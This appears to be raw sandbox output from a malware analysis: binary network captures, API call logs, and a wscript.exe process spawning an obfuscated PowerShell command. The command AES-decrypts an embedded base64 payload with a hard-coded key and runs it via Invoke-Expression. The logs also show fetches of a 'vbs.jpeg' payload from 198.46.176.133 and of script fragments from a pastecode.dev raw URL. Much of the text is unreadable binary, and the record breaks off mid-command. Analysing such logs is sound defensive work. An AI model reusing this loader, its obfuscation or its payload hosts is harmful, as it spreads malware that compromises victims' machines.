Y‹Ð?¦1¢Äw©ÜzfqÞ]OoçœŠª¤–û^Ü*ò^ïœ$/¥PG¾Ï"À82í ÆàxÁ¨v,àsùa ÇpU?Ïë† 1^çŒä)æki[Øprij*‚ŽMàG¦bXØ¢Tà^Iݕl°SúeâÔ*FQ­¯€ÍÏå€3!R¥ékõÊ9gåGPß‘½$†?L$@;ÝÖãðÀ#ˆ ×“”Ô+Õ遡¹<²9Üzbš’$"œÑü6zá‰IH'«‰QCW‘€·–ý¿\j (ff³Í™J¾qcøU‹õȞDj#m7B}° ç’ »OE탒A°ìÇãP(¢õã¾SRQ=eÆ뽸 3‚¥µUƒì}±{e‰¡ÆL“4’?Aƒ¿†;($±¯Žhé'U,Òø¯2㘣rc†Q{¬Ñ&À«É­…Ö¼Æ Ù}ðO0Y-›wCí™Þh.ÜQfž‹SŒð¶£‚F² TiÊ°N@÷¼¦txÕ!÷r>•827¬nÚ¤þ¸„荪Z[ã€ç‚nŽi å6€'ž}±Ík£;’›•õþ™—¢‘à“ib 4<mßc+Úm üÎîÅ´»Pµn°®/Ud¾wnØY ;ŽHÚ«®.X¨ä| ?L›P«!™˜) ¹º
Data received W§žÝ ?È`5ÜÖ ÖãðΑ·àðö€Évv!5Üûœ8Îw9ÜçsÜçsÎw82HøŒŽs¹Àîrr9Îçs€³C;8`[iË"¤ô£YPÜóÓ,ŽW °ž.óŠk8e¨ŒÅžØ°­|rBþYÂòà`p\*®B®Q1˜¢cD2ˆ˜ü«Ç[VÇ~ø‚Äh»ãߎpQÇqX´i»Òüë‰ 7L ¬;Z‡L~(…‚‰I#š¡'¥à‚ק¨ÍX¥Àéã=†ji“ÝE`Ç×5ôè¥:ó‹AµÚ‹íšeÚÌ E*? bÐ¥ô4 N˜i’«çŸý³;ŸŠ2ÇhK>קZaŸý³øV?÷0>S¦Ìl"…$±†p@øuþcOÆ1¤ iuwܨ;Àöf ñ4T˜ÙI7`î=sӌóŸf¸žu=V|é³ÑŒ´Z×ÑÌÑ·‡£/pF¢è<a¡ŒÜÉg±ä~¶3=T»ؚÜ断oÆ´° †5Fù¨$àbjãëäEü6"/<çŒ-C'ú^Cø¤„r/ù.y¯öy>ŸÌ`%öZ»øþ™ÀºaŸªtyÚŸÝAÏÉ~/•âp9ìãùç꿘OàÚw å¢r¹s•8’3†v‘jGÃ?;þÖôÆ/‹œýÛ>ûdZñdù`|¦ñ^€فï™ñþ,ÔÓ Ë´ô"°6|9kA±FÈÿ˜ãcð ‚8ؐ}[O±³üñ’ ’ ƒD ŸÂ~X†?„ü°'ÕìÈãüCúŽùã²°ò-·W^£¦m¿LóÞ;ø ÿ‹ú`dº« ˟vý û)¨ÿ§?ÈgÁÃíkìzŒûÇìˆíû3(å'ôêr¼Øý33PV_Ëþ¹¡7 õÌÉìßš–ŒY®Ÿúæ>©£6hßÈÿêÍ]Hàž3/XQHànëôª’/Q£Lykÿ6cj$ÓÙðýY¯ªDŽ¤©7ñ¹ý3SÁ7ù`Q4~–<Ê·a_âÌù5!b[~–7ñcât˜ð¶Ê Y¥æó6UOº—!C¼^}®ÿLôÝÐöþÿ«,ú]¤kôß öþ,$¢&3Q†,‚zw±Û©]32 *¦· DØêzŠÀ]õfke<tô7øñC,tìÑqÀ¢ßú±—]2M"¿áí³gùb uÀhjcEÚt±²³AÜ:_Çã••-^LQ96þÄv>Üa$òZXÅ"©Vm»·w¦½°2ҝ€*Æ»T©Aðäý0.Z §óCÍå&T‘·}æ ;räǺ৞Â6&=Çm_Kãyc0"±=!Toižx£X y1Þb±ÇñéËÚ´¦ @ÝGÿ1&š&Dm{PI 6×Ôÿ»ùå›H‰ygÖ¤'š¼Å߸^&ŒÀtÚ¹`e$ylc¥P¡‰í³vÑÅ¥:&ñq$J«Ê*+sŨáO$ÖN–ôZÆi SG m‘I:…nvÑæÇûr àҴڒžBÆÌæ!çT½Ãù²É$»–HøR•ÓÇP?ÂsB?ðöл6‚•8U üAùâ®Ý/›1qÊ°<Suøóˆ:…<†îð5e¥Vhâ*¦Â~¼cPø¹Ø‘ãf,WÊ _]†gQ,uß,‘;ʋ$³òI>Àsêü?W£—DÚgÑÂ'al5}ۈ:ÉâOábӘtѓ)B;HgÒy6>â:Øù1‚)fûÁX°-}ÅÑã¡öÆØ:3©Y¤(h›R)»Y;¯Ž;à.ë¤2BÒIVw“<q¨Bèå4³Cᡄ«¤’)bó!f€î`àÒû_=3pxg‡Fˆ«ä¨Àº¤î¢l«ÜäMá>+Èæd å• ëL£‘ß­ÉÀËÒj|'W:«Ç§bdP À£q&°¢ÅñÎh6§ÃÒ¾ýÒ!x}ÝGV,«>ߞf‹Ãu<zý4špÒ32©Ül w/zºÙèœÔû†œxKé[¦]1äîe%m­Á«ùàŦƒJڙôºbáØ+aKOb9ëðÅõSx{jš£RClY%°Ûo§â?:¬wRÚM_…¢£9¬€µü>9•©ÔGItúA¨œÉ¼ÍLGuõ#Y¦ÔkA¦ CFQDM)£Å­õ®¹d‡Ã¤ž=D:bPÛT:C quÀüÉÌø|F0é!ÓyL*þñŽÝĂVÏW@2ÑéQ6E&çS/ ´Ÿ…¶Š5|ò0Õ6”j!Ô˦…bdfA±Ibµt:ßÔø´Z9 N­Ñ1•(-`×Bp´Éf0-‹Äw9eE‘}.LÞVž ñ± 4knãp£êéÁþx†-,å¢mrRÈ´ÕñR}Æ`ê[MrF±‹‚÷ýsQ+HâX˜9¡ ìSñ"͛ ÂÔj´È%™y;Í~XF…Qí7*…?„¸ÉŠëÁ¹ ÛAªÄ@ã£JJ`žÞâñ€Å¥ dŠÕIgñïa£h4EIþ(@¼$êƒO!XãR¯jÛ8È$P/ wӜ9}3 ÖÅH¡Üàe£šÍxØùq ¡kmöÌ­þÆi£²¬JÅH+Ѓ×Å7° ¯ÉYŸ­%u®x±G§Ã,<Åj×6»Äµi$š–pŒÀ×!I¾ô{Ú9ŠÒG'o"Y£W܌(ñ×¾1 Y!¶4»˜p裔ÔÀÒêfuZ‚(Uûà ¾^ù®G׌ZLÂû‰ -<HÁJŠ°ÆCzˆ;—Ûœû›¡CCWªY´ã` «VáÇcŽë¼™9` ãŽsÈÌ»ñ¸5|k:ÇhK#eGÚ° 4å7,näV<uøõËêÔ Lp’Bm²«³Î/>jHm@#qº'žL.¥FŽxÃ2ô÷#a+6Ðú›q g°±"JŠÜnùÂ[LŒƒ,UQݨ)nzàtÌK5ûå‘¹T{°ÆµH‰§XÑy dûñ‹ÄŽ$VÚÄLk•+± à ãQöaüñP/°É'á‹DÁ%W"À`N³ïf pN pZ5SÕ{侩‹+}F¤V?Ł΁JѲzü3[EâRb©ËfÒ¢ÅAßq˜Å·CÒêÌI´Šm|].¢yR6¹ 1Ò/?øo ©’W™Q$t¥¿J©Ü=ù<üÖUX‚ÅÀ3MóÅWKïŽø¦¥¤öº£“a€®>=ð–}H$T Ýrª?úœÍ©ÚXje;OZ_ý9æõŠà–xÙwÖ×Ó¶*’ƦûÄîíT¡MÕ*ð}¿#¨Ð—!wiت³íÐ|³6h¹ZÜ Œ4ºçp‡–øªÀXÇj¸,O+FÇÇÛ(ʈ `OrÅ\0) ž qêï!ô@äÓÃLÊcÇ=€ºâùÂi9C†, Ú6Ÿ×(¥HFxm§›þ™Xeò\¹Pdæ¬ñÏÃBCY¢z £ûå J¶M‘á¯×uîVd%êÈ°GóËË©VG…qE˜€EûsÆšˆÑ&kÜ/•èo{…¹¹;{ä´nY¬ƒ·ƒê6$]/ñ˜ÛÝÛÚÏm£§çQ ÔïӋAÏë”ÛA≮£
Data received ³ðTmD7ìÚIÕ# €Áí‡s×5›ì  üûç~×xtþÞÐÇ ÅuèގUˆâ<Y¾Aè,d›öqªt@]| N,‘Íkœœñ´ò0ýéàÔéuZyÁ›X±"(ÌÚmH!ð®Ý܎à†óå7JÖï}×Yõ¯Ù6œ‰|TŽBËâóG$`š!4lTôíæ7çŸ%ÔDÐÌѕÚlŠ÷çߐÌc”¦ãgœ`‰$‚2~ø†ãººy¼Ñ‰Ï“û²·€$¹³·t;ã‘ø¤êõ1ÄôËm×؞GÓ“FŽ»¬oÌÉ"ub¤¼™ô;8óá¶'hQ"××m~¸ÒEçB ‹\† …pÉnWÈÚaê«Ì Áƒu\f—†x¹Ñ+DtåÁk-¼‚;WL a¤×¦¦)$†Bë.™C/ª—k.…õþÙÞñɨm@ “8ÚbE ‹¸ðhl_<åcñ·MSÉ&•BÚð¶;kÔv›ííøq±ãBvi•G+ø½È6}=G#!¦ò|CLÐ7mªA¶"‡Pzür$}@ñ(л4«,#p Jí;OõXñÖ PZ ?ãéÛ¥g>ºeµ!Šñk`܏큟âñJÚÙcŽm*K/ÌÙ#œ6·M«ÔϨx‘‘[Oå£Q¸î¾9î=ýñϾ4Š¾RA+¶–P¤|)”Ë—Äe‰·K¡‘Tð X¿Óœu)=f¡`û¸S±(Ú*)¬YÏ^¸ß…ï+¨Õ»3yés@2© h>_ ¨ñu¯þÇç½8þØ7ñÍÿØÊcë[¹ç€9ô2¿vŽ¢Ó òµÛ– Äö,s]}²’è¦ ®œÇT&bU”Yz55íÒÉ œ#ý¡H”ªé†áÀ]÷¦t~52Ã!m:³3^¨ЊÀ¤9gÌ14Q2Fȯ´ÊÜØÿ ®k¯8H4úˆôšØÌ‹©Ø‘íW½¤n(höã“]0¿íy$IÐBË»€wÐ=½ó$Õ¦ªY"m²¾íÍ@õëÍ|0/£IõRêaDFÔU]ʁR ª’x5düŽh4håTxè7ˆ¬¢@ÃnÓØócò¬SC ðÝKL"Vgˆ©«›z{öýpúÏÔ&8U¸ííWÅ`4ºøañ‘™]YShVšZ ç¿å™ïö‚gÕ,ˆ„%(Ø@ìO |oÿ~À×x“k´Út1”(=L\¶ìϛ®q\uí×ܙg:På b¥½=‡aGž™.I×iԏþDœ]ė˜ðý¢’(£Žm1b K€ä¸cãüU W†ß»m‘þ_€ÀÙ@ASu¥TŠÜåL-³†³´.Þ ÖcÁâÚÍKš6R@1ER}؊¿‡\Ó3ëY¶}ÛLdU Àjpxé·7í•ÂÄѬhQ;EX&¿®yÝ<¦V ° Äÿ\õºß½O¡žƒH ¡%ŒÌÛG½mí˜?×,£˜—ÒÊÉæÙõ_b×kÂ&ŸRºC°1 ªZÇ U|1Vžht£€È͹ꔞ½½½ó>'ð u’õ¼ŠŠ¨Ä…«<š¾¤öëåR ;…D¬ÿÁo ÑÏœ<L°A;î Ž½ðúԑô1¤I#€áŠÄáK-«x†«ÑÀeÛº·2´MÙ_zŒ2©¶3*¡ 1vóÇE'OÃ"qª•¶¼zv­¨Ò*oœcS¤S¨IÝä¥E]ªô§Ÿ‡~ß\¢<êÛ£ƒMlMÔǓÿ.Fª}Tq‚c…w¢¥'“ÿ ÀÎ×øv¢m0e˜´­k°68&útÌ¿ðýD §÷!1„>¡d© á k|G_¤FµB …$Ø jø¾G¶W«ÔjtÚyfrÙ Ž• †üš°3 ÚÄÍÍÙ®?L´é¬2 °èAÆôº7×M±Qˆ=[vÐ>´–îÒx4ÿyD¡“i$’+ê¢ð2eRË.¦ã²úâˆAuíXè‘P-m¾”}\‡d*Dq¡ÐvÀUX‰C¸bÓ=l×ÔÖJFM ±>T´UlóÆE,l7sU_\‡°æûü°è6ͽNY¶ <°Ñž,EÑVb;c¥´ÁIã€EÑÝî2¢RÑ
Data sent GET /Upload/vbs.jpeg HTTP/1.1 Host: 198.46.176.133 Connection: Keep-Alive
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
host 198.46.176.133
Time & API Arguments Status Return Repeated

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetCrackUrlA

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0010
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369364 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc0014
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0
Time & API Arguments Status Return Repeated

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: !
socket: 1220
sent: 1
1 1 0

send

 buffer: plf F¤¿’"Úë9Ÿ3cX•66¹W‘ÙžJø5ñA(ôÓG¾/5 ÀÀÀ À 28+ÿ pastecode.dev  
socket: 1328
sent: 117
1 117 0

send

 buffer: !
socket: 1220
sent: 1
1 1 0

send

 buffer: !
socket: 1220
sent: 1
1 1 0

send

 buffer: FBA0X«û–2p ùã{ÊöëJyՀ2”+I"¶ˆvV,UïEÂZ jšÑu[8(e½Hë¶ëÛQ.£µ\’­0w×µî–vìÜ|ø]›ÿÐmo/ˆò §!­Å^©,o0Òhž}3°”Î{‘ñ¯
socket: 1328
sent: 134
1 134 0

send

 buffer: !
socket: 1220
sent: 1
1 1 0

send

 buffer: p½Ž»açUí(^a¦F´½¬ “æ §ð&š¶ÑÅL+‰óüû5Úµy’ÜÐF ‡¨µÖ[Ý~ÿ:Té Vª\h”=ÞSm”Tª}¸,%lÏefÍ©ÏRcï =7¡)؊“Z¢ˆ.ÅÂ6›g+`½á ¾‡`äyð¡-ÊDãéÍ!Í:”V@œ<­ÅfC”àÞ±fÜî¢T#a&óul{¶…KæƒT¯Ó‡i°T1íØ,ø-…|­0ˆ²"N 6ÜםJñ2bëTîÝ0é׋é<…§´rµ«Gv2½+ЧŠÄˆó0Ù£x-M|p¡¨Ûƒ£9¹m³\Ç9úÛ°jÐeÛzóDRHFD¤›§‘Þ¦´"{Ðȁ‘ ¬È~ÀÞ£9ÏdÞ Ûy×ìü*ÃdÛ«'ž~ßÄ ª;ћܻõ'*v¶ü#ÙPº’ŠÑ˜ÁŽ\°òÀž[l¯³|ØÝQî>CñØÿ{B
socket: 1328
sent: 373
1 373 0

send

 buffer: !
socket: 1220
sent: 1
1 1 0

InternetCrackUrlA

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: À \ûM3¬7>.cÍðô|ý d9·³u«Ó UºU‘]¤ù~k͘d5÷%êæêåÑQaZ‰”,£¯™¢Š~Á‰áV]ªzÒê$—Å13àE3%t§%âí'Á¿)–éžœ¯§?–@ ½3}ÎvR˜>N‡à&Iš›]èÛoƒîäXWŕ BΩr¦âcPݞ×"íÙëçW~ó(doèQÕ¤Ê>áxâ«}‚dÈë*²\nÔAèm5Cò·JžÝÎKïìVÀ@ZQÏ#HÅj‰Uqjæ³ÚÖÊ4Ú3~†~5ò@6Îé0¨‡±‰Î%Òq<*R±Hõ‡D•É‹lVç`%ÆÜØ$S(ÏTt;Iô=DԍÃ3c=}›±ˆË™oWªGñ“(иýä9i†«ZÃë*ýÝÀ=#šP?9§èp¬9ÿ¸ÀÖ¬ªùäÐ3nඝY‹¡XZê(Ÿ2‹KˆÖ­é9'њ:œgk#²ÎQ+a :Ó¸Í~‡]ƒëÆÙ@xóŒÙQ¬ìí©ÝµüGÇ!ARDߤc[5ÀG£˜‡CÃ6¯–´šK
socket: 1328
sent: 453
1 453 0

send

 buffer: !
socket: 1220
sent: 1
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0010
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369364 0

send

 buffer: Àùu’pp¢dØÖî_fý|¼æÏ¿ÒD³q~˜Œ³Á¹¾?…[X&þêæeäh•F«ÆoÞ¦fOx\üo•ÃÚm÷-ïk©•´ÇëÂÚXÇßX­a&C;1A$鬼ǐäumã.觙µZâOqPÛÃ`ìm…Åi%¸Å8tD bW²æ8zr”¼\™Cg¡Ìï)ŽäOÐà3?yCFگܽ ’ZÌuÖ×9"RL6Z¡7>£[¦zoé!1oP ÿ 9S#%ŒçH:d2»ÇÍy†EíGN-ÿfؚʑ2HùÁ–v!ÔJä$á«_Éë>+èZ×àõÞ°wÐœDFsH¾iSE’¥¾ÀC¢F±êÍ/ðs<sìÌß ²C!iuLDR¿ý¢b¼÷‚j)ÚâK±26Ë¿£X+gïdŠB(máhOáªm¹ï0Œ9`™#XQA‘‡Ÿd6ÆîWRSU²¶G&Ôt8ꂏù_ñ¸óìõµ][>ákÚªàWòÆðaƲ“i‡;@@ÖDµî)Ñˬ£Ø¬1kPûrâ`9Úth ׎7V>
socket: 1328
sent: 453
1 453 0

send

 buffer: !
socket: 1220
sent: 1
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: ÀÃηÓ`x`;„¤mÿë‚×­Cóõìa:F2¤>÷…Ìôþõ¦ÖPÙ æ§3Ù6ŒQÔhëµp|ߤU@·–x`‚ìIáˆH0Û& ¦ä+”¢`¾(\ìG_ÕH„V$€5[æ—6b u”‡îF Ñ3Ïc|ѝ¬’…Sø…†§$¦4K~¿>–b“!«"FÜ¿D`ç}‘卯Y†_à|¦ ¡NÉdϓ’=WÌÆðÄ3oæäÒ$QJQ!þ^f¥`´²`Àߎô\iC>ÜRQ–d.k‹à8PUŒïm»Ù·.úmÙ ª5 ó“ý×1iªm”ÊI刺¸ÿÎeçœT‘wt:!Ç Þ¾Rã9ãàå9ä$ñ8{L$;™ù£4=¿2¬rÞë-c«¼b(¨t/!þ8þñou;œM¼ñõž·+Âߞ+äïé‰í+-‘ ï Œ—£Wäþ´m‰¹Ð²w}nšÒ:wç¼ç@Ñæ8›5uÙß·HŒŠ_ƹrLvR·6˜èç´<0^@áQbq¡Ô‰`úáÆ‚:Z“°¯¤')ÍhÅ°œœ >¢Æ
socket: 1328
sent: 453
1 453 0

send

 buffer: !
socket: 1220
sent: 1
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: ÀpN}uÄî×â,ç𭣇 #:R4%ÔOmCñ“ÃYŽ—>î´;Îێþ5Ì;Ú·ó§]OuÞJ9¨š(š²~l¢õ”1W<¢b‡ úÆúr„¿ÐEŽ@ÕéFÅi°Hù§CTöäêëÍPN ZëÞb¼ò«Òݞ2˜ÅŠ=EÝLŒJ®EMǙ¸U:¥z=ÄY^­³w_=^Âû…x§¡û´¥L|Tj­i(tkÓ…oÛq:´¿°Äù^Ìsðـj.üÙþw5ÊhÝGŽ¥Úöɵ0¿Ê o÷Ù ¦ÿÜ{œ½¢È>ü&šòªÞˆÑ6+ãäɞ<žGsÞjŸÄ¨;­ƒ­˜˜o?+ |½¿ =1£]Ža¾°žàY<Äì讆¢k0¢—>`ŗq#Ÿ|ˆ¢q¡åpP;PÔP*›ÞÕ_ḯš¿2¢Š ^F¸ÚÆSæý·Š˜+Cg¨àƒEÃd˜Õ”ÐBÏùÈùY|OìDõfV`íRŒEe<x¹ê9 ú>7 Åa{”‚ÜPo˜s%¼Î­º"È"ˆ³¦ÖԄ£2G£´f:yѤ“ôÉbu@‡aq
socket: 1328
sent: 453
1 453 0

send

 buffer: !
socket: 1220
sent: 1
1 1 0

send

 buffer: GET /Upload/vbs.jpeg HTTP/1.1 Host: 198.46.176.133 Connection: Keep-Alive
socket: 1312
sent: 79
1 79 0
parent_process wscript.exe martian_process powershell.exe -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31288118537265901671092296545801CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI9qzw9rWNQXNXTkOMi91Vo37XNXwKsDkID6RFqNMIb+XDhn4Y5AbEg30f25b/EyGdGGjWsHDIIox1WuVuUdOUadjhme+5zvVV44oiyworfCO2lfsB1IQVwYt2W3SwF0Ux7M7imAEKs79W60z/0ynAsj8hj2vt/lnFQIiUMLXwxtg0ygxaA1q2xZSJwwSMDWyzIontKVe2xHt1HI77rYSt/VnOayqQ2yg7Mp48pY+uj2EZP74FtBnkcE9p92gZJxz+peJ+AKTzl7JeqJQuodXWFmK9sgGK4n13RybKFC+dVb8O8Krc/u05EdmP8zqWyMN4CIIIo6bc+uy3dadl98BZbD0z03uf3Oz6xO+gLfn9tOR1YKsukLXT2OScPDC2jP9f9Yqq+KSXQNHugPnILvW7k+DBL1ZjUxKLNlvCe0NOpwgh8+75a/DTYGBpNBdkSv6BeMFiZTOcAGGEAB5TlZIOZzRTBw8GIX57ryKhBD+OOgtPd2gLFQriTRl2LIoUqCZ1NdzqGQpGwwf4BXbnED2n7yIY2OKKYAovsduKNeTRlypT3jEkMxq1Z51SmOLPNtSqgYjTlhY1Pf+4wEgtf5RvJnRdkbil32H7SckZeqIf4a57uzHIqbcG+bjJT0/Q8jk0lXBCRIMGQd1Frr3sKLigZVlZV51M8hR24sv8ALa2EgO+gSMuthSXw3J2JazJgRKFhsjaMNJMFeeAuPC9u3bhyNRUUxtNbaEkf5p/2U/Td9f3luetP2LV6G1qctY5iGj1puWd+7Oa1A9Jx8sKWBfK7ssUEzfA5tRfwJs+Yig4neb6zjDL+RrpEHNFlkE8+TDOUhcNUOaaxmdagb669MaY6AUHuBGbW4T3clqQY3KqMWiWxvWFBjhAXh4oSmZFSY/+TaEY+Bjm7AbSBTspTWmyfY2HbT2L5cOwDGAAmIx3UR2NUByK70uEAvM2Yz5ioHv8hB18Qc2MMkbxqSrhFr41oRCPhdCx89cUfnKhXUDDd2TkPICClvjRXaMqZ9/NY0GbTYZhUyGeiljzB9o333Pd4tXJeCeAXf7pdSIB5lulheY+jHzCGimEp3VVl2AkjOwPbeoJhwjAUV22t+K1mLSHCLkb+kxdZ8PTVzqfErU5M/wAcukzKiEIWL67nmNrbrCQr0n4yiBww55JzH6QlqH4bo8R3wkrh+6GeX2DuozRIcrO+EJkFIyPGqzNOLbPmOMp2ywAQFZmKLtSNxMb1p4gtH1hzuGDw855hxFyyAs5y4m0NtXFrTGbDRUXgJ0rYRgPSAr/DFlNfYC4xRFI4A4HllUDOPIr2vsL8x87drooa8oqLFJuRFU8yqTyYdo3WNhu0QjHhbWlwKo+VZRctR1fsH+/yM/e99xk2kRcHOemzLzjSfiD4PKV4nvV6jwTReR+4NtyQtYW+KGUdbNqX7Wd4A==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31288118537265901671092296545801CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI9qzw9rWNQXNXTkOMi91Vo37XNXwKsDkID6RFqNMIb+XDhn4Y5AbEg30f25b/EyGdGGjWsHDIIox1WuVuUdOUadjhme+5zvVV44oiyworfCO2lfsB1IQVwYt2W3SwF0Ux7M7imAEKs79W60z/0ynAsj8hj2vt/lnFQIiUMLXwxtg0ygxaA1q2xZSJwwSMDWyzIontKVe2xHt1HI77rYSt/VnOayqQ2yg7Mp48pY+uj2EZP74FtBnkcE9p92gZJxz+peJ+AKTzl7JeqJQuodXWFmK9sgGK4n13RybKFC+dVb8O8Krc/u05EdmP8zqWyMN4CIIIo6bc+uy3dadl98BZbD0z03uf3Oz6xO+gLfn9tOR1YKsukLXT2OScPDC2jP9f9Yqq+KSXQNHugPnILvW7k+DBL1ZjUxKLNlvCe0NOpwgh8+75a/DTYGBpNBdkSv6BeMFiZTOcAGGEAB5TlZIOZzRTBw8GIX57ryKhBD+OOgtPd2gLFQriTRl2LIoUqCZ1NdzqGQpGwwf4BXbnED2n7yIY2OKKYAovsduKNeTRlypT3jEkMxq1Z51SmOLPNtSqgYjTlhY1Pf+4wEgtf5RvJnRdkbil32H7SckZeqIf4a57uzHIqbcG+bjJT0/Q8jk0lXBCRIMGQd1Frr3sKLigZVlZV51M8hR24sv8ALa2EgO+gSMuthSXw3J2JazJgRKFhsjaMNJMFeeAuPC9u3bhyNRUUxtNbaEkf5p/2U/Td9f3luetP